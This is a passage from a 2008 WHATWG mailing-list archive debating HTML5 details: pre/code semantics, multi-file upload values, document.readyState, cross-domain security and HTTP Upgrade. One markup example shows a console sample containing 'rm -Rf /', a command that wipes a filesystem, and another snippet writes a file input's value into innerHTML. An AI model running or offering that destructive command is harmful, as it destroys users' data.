which makes it impossible to work out what a given email is about, or
to find the email that's about a given change. So it could be nice if
the commit message was in the subject line, or at the top of the body
(so it would appear in Gmail's content snippet thing).

-- 
Philip Taylor
excors at gmail.com

From edwardzyang at thewritingpot.com  Sun Jun 22 13:22:40 2008
From: edwardzyang at thewritingpot.com (Edward Z. Yang)
Date: Sun, 22 Jun 2008 16:22:40 -0400
Subject: [whatwg] Pre, code and semantics in HTML5: Wishful thinking?
Message-ID: <485EB490.2060101@thewritingpot.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I was reading through the HTML5 spec the other day and I noticed this
tidbit:

> To represent a block of computer code, the pre element can be used
> with a code element; to represent a block of computer output the pre
> element can be used with a samp element. Similarly, the kbd element
> can be used within a pre element to indicate text that the user is to
> enter.

The implication is that document authors are recommended to use
<pre><code> to wrap all of their programming code instead of a lone
<pre>, if they wish to be fully semantic. This feels needlessly verbose
and abusive of <code>, which traditionally has been used to mark
single-liners.

It also makes it extremely difficult to style pre as a block for code,
as the only semantic indication that the contents of the pre block are
computer code is its child. You'd end up having to say <pre
class="code"><code> if you wanted to style pre as well.

At the same time, I still think the semantics of whether or not a <pre>
tag indicates a plaintext file, or a piece of ASCII art, or computer
code, is somewhat important. However, I think this information would be
more appropriately given as an attribute.

Thanks for reading,
Edward

P.S. Please CC my address on all replies.

- --
 Edward Z. Yang                        GnuPG: 0x869C48DA
 HTML Purifier <http://htmlpurifier.org> Anti-XSS Filter
 [[ 3FA8 E9A9 7385 B691 A6FC B3CB A933 BE7D 869C 48DA ]]
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFIXrSQqTO+fYacSNoRAn1WAJ95X7i0Rf4sMGuj4n5qEEWoEH4CuwCfUnP8
TIADRZ6VRXWK2AC9tIATl8E=
=TY06
-----END PGP SIGNATURE-----


From lachlan.hunt at lachy.id.au  Sun Jun 22 13:46:29 2008
From: lachlan.hunt at lachy.id.au (Lachlan Hunt)
Date: Sun, 22 Jun 2008 22:46:29 +0200
Subject: [whatwg] What should the value attribute be for
 multi-file	upload controls in WF2?
In-Reply-To: <6b9c91b20806210848r1d16407fic23372007845e347@mail.gmail.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>	<485BB421.4090803@lachy.id.au>	<f6dc6579eab2d0aff4e2ac2d2aa38f42@myrealbox.com>
	<6b9c91b20806210848r1d16407fic23372007845e347@mail.gmail.com>
Message-ID: <485EBA25.8010705@lachy.id.au>

Michael A. Puls II wrote:
> Anyway, the use case for .value is:
> 
> ...
>         <p>File to attach: <p>
>         <p><input type="file"
> onchange="document.getElementsByTagName('p')[0].innerHTML +=
> this.value;"></p>
> ...

How is that a use case?  Please explain why outputting the value of the 
control in an adjacent paragraph is useful at all and why authors would 
do it.  The value is visible in the control itself, so that seems 
unnecessary.

-- 
Lachlan Hunt - Opera Software
http://lachy.id.au/
http://www.opera.com/


From edwardzyang at thewritingpot.com  Sun Jun 22 14:36:53 2008
From: edwardzyang at thewritingpot.com (Edward Z. Yang)
Date: Sun, 22 Jun 2008 17:36:53 -0400
Subject: [whatwg] Pre, code and semantics in HTML5: Wishful thinking?
In-Reply-To: <20080622213212.GA9970@stripey.com>
References: <485EB490.2060101@thewritingpot.com>
	<20080622213212.GA9970@stripey.com>
Message-ID: <485EC5F5.6020400@thewritingpot.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Smylers wrote:
> Why would you need to -- surely you could just put the styling on the
> <code> instead (using pre + code to select only <code> elements inside
> <pre>-s)?

Lets say I want to place a background image of a computer behind spanses
of computer code, but a background image of a console for emulated
console data using samp and kbd.

With HTML 4, I would have done <pre class="code"> (or more likely, just
omitted it and assumed it was computer code by default unless otherwise)
and <pre class="console">.

With <pre><code>, you can't do that. <code> is an inline element, and
the background image doesn't get applied to it in any meaningful way.

I suppose one of the primary distinctions is that if you use
<pre><code>, it's usually because all of it's computer code.

- --
 Edward Z. Yang                        GnuPG: 0x869C48DA
 HTML Purifier <http://htmlpurifier.org> Anti-XSS Filter
 [[ 3FA8 E9A9 7385 B691 A6FC B3CB A933 BE7D 869C 48DA ]]
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFIXsX1qTO+fYacSNoRAgFhAKCFytkJ985PnqJDnDDQCfkUd4/EIwCeL9Mr
gqBmVDkEAT12wpOARzogoNc=
=XwlH
-----END PGP SIGNATURE-----


From Smylers at stripey.com  Sun Jun 22 14:32:12 2008
From: Smylers at stripey.com (Smylers)
Date: Sun, 22 Jun 2008 22:32:12 +0100
Subject: [whatwg] Pre, code and semantics in HTML5: Wishful thinking?
In-Reply-To: <485EB490.2060101@thewritingpot.com>
References: <485EB490.2060101@thewritingpot.com>
Message-ID: <20080622213212.GA9970@stripey.com>

Edward Z. Yang writes:

> ... authors are recommended to use <pre><code> to wrap all of their
> programming code instead of a lone <pre>, if they wish to be fully
> semantic. This ... makes it extremely difficult to style pre as a
> block for code, as the only semantic indication that the contents of
> the pre block are computer code is its child. You'd end up having to
> say <pre class="code"><code> if you wanted to style pre as well.

Why would you need to -- surely you could just put the styling on the
<code> instead (using pre + code to select only <code> elements inside
<pre>-s)?

Smylers


From t.broyer at gmail.com  Sun Jun 22 15:10:17 2008
From: t.broyer at gmail.com (Thomas Broyer)
Date: Mon, 23 Jun 2008 00:10:17 +0200
Subject: [whatwg] Pre, code and semantics in HTML5: Wishful thinking?
In-Reply-To: <485EC5F5.6020400@thewritingpot.com>
References: <485EB490.2060101@thewritingpot.com>
	<20080622213212.GA9970@stripey.com>
	<485EC5F5.6020400@thewritingpot.com>
Message-ID: <a9699fd20806221510r449250tfaedfcef131a8548@mail.gmail.com>

On Sun, Jun 22, 2008 at 11:36 PM, Edward Z. Yang wrote:
>
> Smylers wrote:
>> Why would you need to -- surely you could just put the styling on the
>> <code> instead (using pre + code to select only <code> elements inside
>> <pre>-s)?
>
> Lets say I want to place a background image of a computer behind spanses
> of computer code, but a background image of a console for emulated
> console data using samp and kbd.
>
> With HTML 4, I would have done <pre class="code"> (or more likely, just
> omitted it and assumed it was computer code by default unless otherwise)
> and <pre class="console">.

Which you can do with HTML 5 too...

> With <pre><code>, you can't do that.

<pre class="code"><code>print "Hello world!"</code></pre>
<pre class="console"><samp>root at localhost&gt;</samp> <kbd>rm -Rf /</kbd></pre>

> <code> is an inline element, and
> the background image doesn't get applied to it in any meaningful way.

Wouldn't display:block fix this problem? (theoretically, using
margin:0 would too, IIRC)

> I suppose one of the primary distinctions is that if you use
> <pre><code>, it's usually because all of it's computer code.

Yep, so you'd use a class=console for your console samples and the
following CSS rule for <pre><code> (untested):

pre + code:only-child {
  display: block;
  background-image: url(computer.png);
}

-- 
Thomas Broyer


From shadow2531 at gmail.com  Sun Jun 22 15:21:13 2008
From: shadow2531 at gmail.com (Michael A. Puls II)
Date: Sun, 22 Jun 2008 18:21:13 -0400
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <485EBA25.8010705@lachy.id.au>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<485BB421.4090803@lachy.id.au>
	<f6dc6579eab2d0aff4e2ac2d2aa38f42@myrealbox.com>
	<6b9c91b20806210848r1d16407fic23372007845e347@mail.gmail.com>
	<485EBA25.8010705@lachy.id.au>
Message-ID: <6b9c91b20806221521s3d428038vca6c5b9ac78bf368@mail.gmail.com>

On 6/22/08, Lachlan Hunt <lachlan.hunt at lachy.id.au> wrote:
> Michael A. Puls II wrote:
>
> > Anyway, the use case for .value is:
> >
> > ...
> >        <p>File to attach: <p>
> >        <p><input type="file"
> > onchange="document.getElementsByTagName('p')[0].innerHTML
> +=
> > this.value;"></p>
> > ...
> >
>
>  How is that a use case?  Please explain why outputting the value of the
> control in an adjacent paragraph is useful at all and why authors would do
> it.  The value is visible in the control itself, so that seems unnecessary.

The file is visible in the control itself, but:

If the control is not long enough, you might not see the filename
unless you scroll in the field or the script resizes based on a
multiple of the length of .value. Even then, the path might be
considered noise.

An author might provide the filenames in a more friendly and readable way.

As another example, imagine you have <input type="file"> and onchange,
it adds a filename to a SELECT element and resizes the element.

Then, the select has an onchange listener itself. When you select a
different file in the SELECT, you can make something happen.

For example, you can browse to .wav files and add them to a select
playlist. Then, you can select each of the filenames to have them play
with Audio() for example. Attached is a super basic example of that.

Instead of Audio(), you might load theora videos and play them with
the VideoLan plugin or load wmv files and play them with WMP.

-- 
Michael
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080622/fb258fe1/attachment-0001.html>

From dan at fabulich.com  Sun Jun 22 15:55:49 2008
From: dan at fabulich.com (Dan Fabulich)
Date: Sun, 22 Jun 2008 15:55:49 -0700 (Pacific Daylight Time)
Subject: [whatwg] document.readyState and its initial value
Message-ID: <alpine.WNT.1.00.0806221543240.4116@sfeng02.rf.lan>


document.readyState was added to HTML5 in April of this year.
http://lists.whatwg.org/pipermail/commit-watchers-whatwg.org/2008/000652.html

http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#current
> Each document has a current document readiness. When a Document object 
> is created, it must have its current document readiness set to the 
> string "loading". Various algorithms during page loading affect this 
> value. When the value is set, the user agent must fire a simple event 
> called readystatechanged at the Document object.

As far as I can tell via google, there has been no discussion of this 
property on lists.whatwg.org, so I'd like to suggest a small enhancement 
to the spec.

HTML5 says that the current document readiness should be "loading" when 
the document is created; instead the initial state should be 
"uninitialized".

document.readyState was initially defined by Microsoft as a proprietary 
extension to DOM.  Here's their MSDN documentation of document.readyState:

http://msdn.microsoft.com/en-us/library/ms534359(VS.85).aspx
> An object's state is initially set to uninitialized, and then to
> loading. When data loading is complete, the state of the link object
> passes through the loaded and interactive states to reach the complete
> state.

I believe HTML5 should change to agree with Microsoft on this point. 
Safari and Opera have implemented document.readyState to agree with 
Microsoft and I don't think it's appropriate for HTML5 to break new ground 
here.  This matters to me because I'm trying to fix Firefox to support 
this property, and we need to know what the initial state should be.

The point is small and not very important because it's almost impossible 
to encounter an HTML document in Internet Explorer in the "uninitialized" 
state.  But I think the fix is small and uncontroversial:

Index: source
===================================================================
--- source      (revision 1790)
+++ source      (working copy)
@@ -4613,7 +4613,7 @@
    <p>Each document has a <dfn>current document readiness</dfn>. When a
    <code>Document</code> object is created, it must have its
    <span>current document readiness</span> set to the string
-  "loading". Various algorithms during page loading affect this
+  "uninitialized". Various algorithms during page loading affect this
    value. When the value is set, the user agent must <span>fire a
    simple event</span> called <code
    title="event-readystatechanged">readystatechanged</code> at the


From ian at hixie.ch  Sun Jun 22 17:59:05 2008
From: ian at hixie.ch (Ian Hickson)
Date: Mon, 23 Jun 2008 00:59:05 +0000 (UTC)
Subject: [whatwg] document.readyState and its initial value
In-Reply-To: <alpine.WNT.1.00.0806221543240.4116@sfeng02.rf.lan>
References: <alpine.WNT.1.00.0806221543240.4116@sfeng02.rf.lan>
Message-ID: <Pine.LNX.4.62.0806230057390.13974@hixie.dreamhostps.com>

On Sun, 22 Jun 2008, Dan Fabulich wrote:
> 
> The point is small and not very important because it's almost impossible 
> to encounter an HTML document in Internet Explorer in the 
> "uninitialized" state. But I think the fix is small and uncontroversial:

Actually the testability is the most important aspect. Could you provide 
some tests that show when IE switches from "uninitialised" to "loading" 
and so on? At the moment the spec is as close as I could get to what IE 
actually does. (MSDN is woefully inaccurate when it comes to these things, 
so I wouldn't pay too much attention to it.)

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From dan at fabulich.com  Sun Jun 22 19:17:14 2008
From: dan at fabulich.com (Dan Fabulich)
Date: Sun, 22 Jun 2008 19:17:14 -0700 (Pacific Daylight Time)
Subject: [whatwg] document.readyState and its initial value
In-Reply-To: <Pine.LNX.4.62.0806230057390.13974@hixie.dreamhostps.com>
References: <alpine.WNT.1.00.0806221543240.4116@sfeng02.rf.lan>
	<Pine.LNX.4.62.0806230057390.13974@hixie.dreamhostps.com>
Message-ID: <alpine.WNT.1.00.0806221850570.4116@sfeng02.rf.lan>

Ian Hickson wrote:

> On Sun, 22 Jun 2008, Dan Fabulich wrote:
>>
>> The point is small and not very important because it's almost impossible
>> to encounter an HTML document in Internet Explorer in the
>> "uninitialized" state. But I think the fix is small and uncontroversial:
>
> Actually the testability is the most important aspect. Could you provide
> some tests that show when IE switches from "uninitialised" to "loading"
> and so on? At the moment the spec is as close as I could get to what IE
> actually does. (MSDN is woefully inaccurate when it comes to these things,
> so I wouldn't pay too much attention to it.)

As far as I know I can't exhibit a test demonstrating IE switching from 
"uninitialized" to "loading."  The document is normally in the "loading" 
state before you get your hands on it.  If testability is the top priority 
then the spec probably shouldn't change.

There is a way to get a document in the "uninitialized" state using 
document.createDocumentFragment().  IE erroneously creates a document in 
that case instead of a document fragment; the document has readyState 
"uninitialized".  However, there is no way to take that document and get 
it into a "loading" state as far as I know (obvious methods like .open() 
just throw errors instead).

Furthermore, MSDN *does* claim that "the states through which an object 
passes are determined by that object; an object can skip certain states 
(for example, interactive) if the state does not apply to that object."

So, the current state of the spec is certainly defensible.

However, I note that it would be legal under the terms of the MSDN 
specification if some future version of IE *did* expose a way to make an 
uninitialized document on which you could later call .open(), and the 
HTML5 spec as-is would make that illegal.

It's tempting to say that the readyState can start with either 
"uninitialized" or "loading"; certainly it's odd that we'd just hike it up 
to "loading" because our test mechanisms are usually too coarse-grained to 
detect a readyState in its "uninitialized" state.

But, oddity is par for the course in DOM, so I guess we'll just follow the 
HTML 5 spec as-is, initialize readyState to "loading" in the object 
constructor, and keep our fingers crossed.

-Dan


From ian at hixie.ch  Sun Jun 22 19:56:18 2008
From: ian at hixie.ch (Ian Hickson)
Date: Mon, 23 Jun 2008 02:56:18 +0000 (UTC)
Subject: [whatwg] document.readyState and its initial value
In-Reply-To: <alpine.WNT.1.00.0806221850570.4116@sfeng02.rf.lan>
References: <alpine.WNT.1.00.0806221543240.4116@sfeng02.rf.lan>
	<Pine.LNX.4.62.0806230057390.13974@hixie.dreamhostps.com>
	<alpine.WNT.1.00.0806221850570.4116@sfeng02.rf.lan>
Message-ID: <Pine.LNX.4.62.0806230252470.13974@hixie.dreamhostps.com>

On Sun, 22 Jun 2008, Dan Fabulich wrote:
> 
> As far as I know I can't exhibit a test demonstrating IE switching from 
> "uninitialized" to "loading."  The document is normally in the "loading" 
> state before you get your hands on it.

Ok, that matches my experience too -- that's why the spec says what it 
says. :-) (The spec, when it is documenting IE features, is more about 
documenting actual IE behaviour than about MSDN, which is notoriously 
unreliable.)


> However, I note that it would be legal under the terms of the MSDN 
> specification if some future version of IE *did* expose a way to make an 
> uninitialized document on which you could later call .open(), and the 
> HTML5 spec as-is would make that illegal.

Should that happen, we can revisit the issue... of course at that point IE 
would be non-conforming, so maybe it would just be considered a bug. :-)


> It's tempting to say that the readyState can start with either 
> "uninitialized" or "loading"; certainly it's odd that we'd just hike it 
> up to "loading" because our test mechanisms are usually too 
> coarse-grained to detect a readyState in its "uninitialized" state.

Well, it's not so much about our testing mechanisms so much as about what 
Web authors have to deal with. If there's no way to ever see that it 
starts in anything other than "loading", then for all intents and 
purposes, it starts in "loading".


> But, oddity is par for the course in DOM, so I guess we'll just follow 
> the HTML 5 spec as-is, initialize readyState to "loading" in the object 
> constructor, and keep our fingers crossed.

If you find any problems with doing this, please let me know, so we can 
update the spec!

Cheers,
-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From frode at seria.no  Mon Jun 23 00:27:19 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Mon, 23 Jun 2008 09:27:19 +0200
Subject: [whatwg] document.readyState and its initial value
In-Reply-To: <Pine.LNX.4.62.0806230252470.13974@hixie.dreamhostps.com>
References: <alpine.WNT.1.00.0806221543240.4116@sfeng02.rf.lan>
	<Pine.LNX.4.62.0806230057390.13974@hixie.dreamhostps.com>
	<alpine.WNT.1.00.0806221850570.4116@sfeng02.rf.lan>
	<Pine.LNX.4.62.0806230252470.13974@hixie.dreamhostps.com>
Message-ID: <31fb000f0806230027y42ee32dqd2c55a948d65a4c1@mail.gmail.com>

>> As far as I know I can't exhibit a test demonstrating IE switching from
>> "uninitialized" to "loading."  The document is normally in the "loading"
>> state before you get your hands on it.
> Ok, that matches my experience too -- that's why the spec says what it
> says. :-) (The spec, when it is documenting IE features, is more about
> documenting actual IE behaviour than about MSDN, which is notoriously
> unreliable.)

1. Which readystate does an img object have, before it is added to the
DOM? Example:

var i = document.createElement("IMG");
alert(i.readystate); // afaict the state SHOULD be uninitialized here...
i.onreadystatechange(function(){alert(this.readystate);}
i.src = "some_url.jpg";
alert(i.readystate);


The example applies to iframes as well, i believe.


2. How can we listen to the onreadystatechange, if we want to trigger
an event when the object starts loading? It will not change readystate
since it was already in the state loading.

> Should that happen, we can revisit the issue... of course at that point IE
> would be non-conforming, so maybe it would just be considered a bug. :-)
>
>
>> It's tempting to say that the readyState can start with either
>> "uninitialized" or "loading"; certainly it's odd that we'd just hike it
>> up to "loading" because our test mechanisms are usually too
>> coarse-grained to detect a readyState in its "uninitialized" state.

The state should not be "loading" when the object is in fact, not
loading nor in any of the other states...

Frode


From frode at seria.no  Mon Jun 23 00:34:27 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Mon, 23 Jun 2008 09:34:27 +0200
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <C4815D1D.5810%adrian.sutton@ephox.com>
References: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
	<C4815D1D.5810%adrian.sutton@ephox.com>
Message-ID: <31fb000f0806230034y2ad6b303iecee6c4a5f04f724@mail.gmail.com>

> Actually, DNS servers, particularly for reverse DNS lookups, are out of the
> control of a huge number of authors on the web. Shared hosting accounts for
> instance don't have a unique reverse IP look up. There are also plenty of


The reverse DNS spec specifically allows one IP address to have
multiple reverse domains.


> people who don't control their DNS at all for whatever reason.


1. People that do not have control over the reverse lookup seldom have
control over multiple servers and seldom require to distribute load
like this.

2. The script should be allowed to connect to its origin server (as
unsigned Java applets are allowed to, today).

3. Hosting providers will add tools allowing their customers to
configure this security framework, if it is required - but again; if
you are on a shared server you most likely will not need to connect to
multiple servers. It will also usually suffice to have a proxy on the
server (like many people do for XMLHttpRequests now).


From giecrilj at stegny.2a.pl  Mon Jun 23 00:49:24 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Mon, 23 Jun 2008 09:49:24 +0200
Subject: [whatwg] document.readyState and its initial value
In-Reply-To: <alpine.WNT.1.00.0806221543240.4116@sfeng02.rf.lan>
References: <alpine.WNT.1.00.0806221543240.4116@sfeng02.rf.lan>
Message-ID: <0BB335FEAE6A4F35B9C6CA209D2E7795@POCZTOWIEC>

Editorial remarks: 
1. 
The links to current document readiness are reflexive and should be removed.
2. 
The page loading process mentioned should be linked to the relevant section.

It would be convenient for the reader 
and 
it 
would also provide 
a visual indication 
that it is a reference to a locally defined technical term.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Dan Fabulich
Sent: Monday, June 23, 2008 12:56 AM
To: whatwg at whatwg.org
Subject: [whatwg] document.readyState and its initial value


document.readyState was added to HTML5 in April of this year.
http://lists.whatwg.org/pipermail/commit-watchers-whatwg.org/2008/000652.htm
l

http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#current
> Each document has a current document readiness. When a Document object 
> is created, it must have its current document readiness set to the 
> string "loading". Various algorithms during page loading affect this 
> value. When the value is set, the user agent must fire a simple event 
> called readystatechanged at the Document object.

As far as I can tell via google, there has been no discussion of this 
property on lists.whatwg.org, so I'd like to suggest a small enhancement 
to the spec.

HTML5 says that the current document readiness should be "loading" when 
the document is created; instead the initial state should be 
"uninitialized".

document.readyState was initially defined by Microsoft as a proprietary 
extension to DOM.  Here's their MSDN documentation of document.readyState:

http://msdn.microsoft.com/en-us/library/ms534359(VS.85).aspx
> An object's state is initially set to uninitialized, and then to
> loading. When data loading is complete, the state of the link object
> passes through the loaded and interactive states to reach the complete
> state.

I believe HTML5 should change to agree with Microsoft on this point. 
Safari and Opera have implemented document.readyState to agree with 
Microsoft and I don't think it's appropriate for HTML5 to break new ground 
here.  This matters to me because I'm trying to fix Firefox to support 
this property, and we need to know what the initial state should be.

The point is small and not very important because it's almost impossible 
to encounter an HTML document in Internet Explorer in the "uninitialized" 
state.  But I think the fix is small and uncontroversial:

Index: source
===================================================================
--- source      (revision 1790)
+++ source      (working copy)
@@ -4613,7 +4613,7 @@
    <p>Each document has a <dfn>current document readiness</dfn>. When a
    <code>Document</code> object is created, it must have its
    <span>current document readiness</span> set to the string
-  "loading". Various algorithms during page loading affect this
+  "uninitialized". Various algorithms during page loading affect this
    value. When the value is set, the user agent must <span>fire a
    simple event</span> called <code
    title="event-readystatechanged">readystatechanged</code> at the



From annevk at opera.com  Mon Jun 23 03:11:25 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Mon, 23 Jun 2008 12:11:25 +0200
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <31fb000f0806230034y2ad6b303iecee6c4a5f04f724@mail.gmail.com>
References: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
	<C4815D1D.5810%adrian.sutton@ephox.com>
	<31fb000f0806230034y2ad6b303iecee6c4a5f04f724@mail.gmail.com>
Message-ID: <op.uc649bax64w2qv@annevk-t60.oslo.opera.com>

On Mon, 23 Jun 2008 09:34:27 +0200, Frode B?rli <frode at seria.no> wrote:
> [...]

I'd suggest looking into the work the W3C has been doing on this for the  
past two years:

   http://dev.w3.org/2006/webapi/XMLHttpRequest-2/
   http://dev.w3.org/2006/waf/access-control/


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From frode at seria.no  Mon Jun 23 05:18:22 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Mon, 23 Jun 2008 14:18:22 +0200
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <op.uc649bax64w2qv@annevk-t60.oslo.opera.com>
References: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
	<C4815D1D.5810%adrian.sutton@ephox.com>
	<31fb000f0806230034y2ad6b303iecee6c4a5f04f724@mail.gmail.com>
	<op.uc649bax64w2qv@annevk-t60.oslo.opera.com>
Message-ID: <31fb000f0806230518h739e5130oa9828b2bbabe48b3@mail.gmail.com>

Hi! Thank you for pointing to that document. I quickly scanned trough
it but I have a small problem with the specification: does it require
web servers to check the Origin header? What happens with older web
applications that do not check this header?

Frode


2008/6/23 Anne van Kesteren <annevk at opera.com>:
> On Mon, 23 Jun 2008 09:34:27 +0200, Frode B?rli <frode at seria.no> wrote:
>>
>> [...]
>
> I'd suggest looking into the work the W3C has been doing on this for the
> past two years:
>
>  http://dev.w3.org/2006/webapi/XMLHttpRequest-2/
>  http://dev.w3.org/2006/waf/access-control/
>
>
> --
> Anne van Kesteren
> <http://annevankesteren.nl/>
> <http://www.opera.com/>
>



-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.

From annevk at opera.com  Mon Jun 23 09:09:16 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Mon, 23 Jun 2008 18:09:16 +0200
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <31fb000f0806230518h739e5130oa9828b2bbabe48b3@mail.gmail.com>
References: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
	<C4815D1D.5810%adrian.sutton@ephox.com>
	<31fb000f0806230034y2ad6b303iecee6c4a5f04f724@mail.gmail.com>
	<op.uc649bax64w2qv@annevk-t60.oslo.opera.com>
	<31fb000f0806230518h739e5130oa9828b2bbabe48b3@mail.gmail.com>
Message-ID: <op.uc7ltqch64w2qv@annevk-t60.oslo.opera.com>

On Mon, 23 Jun 2008 14:18:22 +0200, Frode B?rli <frode at seria.no> wrote:
> Hi! Thank you for pointing to that document. I quickly scanned trough
> it but I have a small problem with the specification: does it require
> web servers to check the Origin header? What happens with older web
> applications that do not check this header?

It's not strictly required, but highly recommended. Older Web applications  
wouldn't opt-in and would therefore be as vulnerable as they are today.  
Anyway, this is the wrong list to debate that specification. You want  
public-webapps at w3.org.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From ian at hixie.ch  Mon Jun 23 19:01:14 2008
From: ian at hixie.ch (Ian Hickson)
Date: Tue, 24 Jun 2008 02:01:14 +0000 (UTC)
Subject: [whatwg] commit-watchers mail format
In-Reply-To: <ea09c0d10806211552x5f025e06w75b6a944f8796d45@mail.gmail.com>
References: <ea09c0d10806211552x5f025e06w75b6a944f8796d45@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806240200560.13974@hixie.dreamhostps.com>

On Sat, 21 Jun 2008, Philip Taylor wrote:
>
> So it could be nice if the commit message was in the subject line

Done.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From jonas at sicking.cc  Tue Jun 24 01:03:38 2008
From: jonas at sicking.cc (Jonas Sicking)
Date: Tue, 24 Jun 2008 01:03:38 -0700
Subject: [whatwg] What should the value attribute be for multi-file
 upload controls in WF2?
In-Reply-To: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
Message-ID: <4860AA5A.70303@sicking.cc>

Adele Peterson wrote:
> Hi all,
> 
> I'm looking at the Web Forms 2 specification for the multi-file upload 
> control that uses the min/max attributes.  When multiple files are 
> selected, its unclear what the value attribute should contain.  It could 
> contain just the first filename, or a comma separated list of all of the 
> filenames.  I think it will be useful though to add something about this 
> in the specification for consistency.

Firefox 3 exposes an API that would let you get all filenames if 
multiple files were selected. The .files property returns a (live) list 
of file objects, each object has the following API:

interface DOMFile
{
   readonly attribute DOMString fileName;
   readonly attribute unsigned long long fileSize;

   DOMString getAsText(in DOMString encoding);
   DOMString getAsDataURL();
   DOMString getAsBinary();
};

This of course doesn't answer the question of what to return for .value. 
I would say return the first filename. Trying to encode all filenames in 
a single string is just going to be more complicated than using the 
above API, and returning an array is complicated API wise, and also 
seems more complicated for users than using the above API.

/ Jonas


From phil127 at gmail.com  Tue Jun 24 07:29:26 2008
From: phil127 at gmail.com (Philipp Serafin)
Date: Tue, 24 Jun 2008 16:29:26 +0200
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <31fb000f0806200655j3af80aaah528e50ee0e1d324f@mail.gmail.com>
References: <485B69B5.9070007@arc.net.au>
	<31fb000f0806200419m6aae0708je2bfd7acb2ba9cfb@mail.gmail.com>
	<f042876c0806200550t6b3cf61dvebf77e273da2895d@mail.gmail.com>
	<f042876c0806200551j1db35971xaaafedd2fb1708ef@mail.gmail.com>
	<31fb000f0806200655j3af80aaah528e50ee0e1d324f@mail.gmail.com>
Message-ID: <f042876c0806240729g623a57fdg417adb42e28ea384@mail.gmail.com>

(Sorry if this counts as thread necromancy. The discussion just didn't
seem to have come to an end yet.)

On Fri, Jun 20, 2008 at 3:55 PM, Frode B?rli <frode at seria.no> wrote:
> I would manage, but i do not like the implementation (it is much more
> complex than it needs to be). I would basically hate doing extra work
> because the implementation wasnt good enough.
>
> It is worth spending months improving the implementation here, if it
> saves only one minute of work for each of the millions of web
> developers out there, in the future.

Alright, point taken. You're of course absolutely right with that :)
I agree, it would be very convenient to basically set up and control a
web app in a single connection. However, I think there are valid use
cases for just the opposite set up as well. So, if we use a HTTP
handshake, we should provide two ways.

> If it is impossible to use HTML, then it is absolutely required that
> Session ID is added as a standard header - since that will be the only
> way of linking the generated HTML with the separate persistent
> connection. You can't assume that an application server or the web
> server will be able to parse the cookie, since the cookie format is
> different for each programming language/application.

This depends on the layer where the session management takes place.
For example, PHP's existing session handling system already uses
cookies. So, a hypothetical future "PPHP" version of PHP could extend
the session system to support this.
This feature couldn't be implemented in the afromentioned "few lines
of perl" though.

If this feature is still wanted in a standardized way, I think the
idea to have the server advertise that it wants to change the protocol
but to let the client do the actual switch would be the best way.

>The HTTP 101 Switching Protocols can be sent by the server, without
>the client asking for a protocol change. The only requirement is that
>the server sends 426 Upgrade Required first, then specifies which
>protocol to switch to. The protocol switched to could possibly be the
>one proposed in the beginning of this thread.

I don't see how we could use 426 as a notification that the client
should open a WebSocket connection. 426 is still an error code, so if
you send it as the reply to the initial GET request, you can't be sure
the HTML file you pushed gets interpreted the correct way. While this
would probably work, it would be semantically unclean at best.

However, the TLS -over-HTTP spec states "As specified in HTTP/1.1, the
server MAY include an Upgrade
   header in any response other than 101 or 426 to indicate a
   willingness to switch to any (combination) of the protocols listed."

<http://www.ietf.org/rfc/rfc2817.txt>

I can't seem to find any mention about this in the HTTP spec though.
Is this implemented or at least widely known?
Maybe you could reasoneably assume that a proxy keeps a connection
open if an upgrade seems imminent?

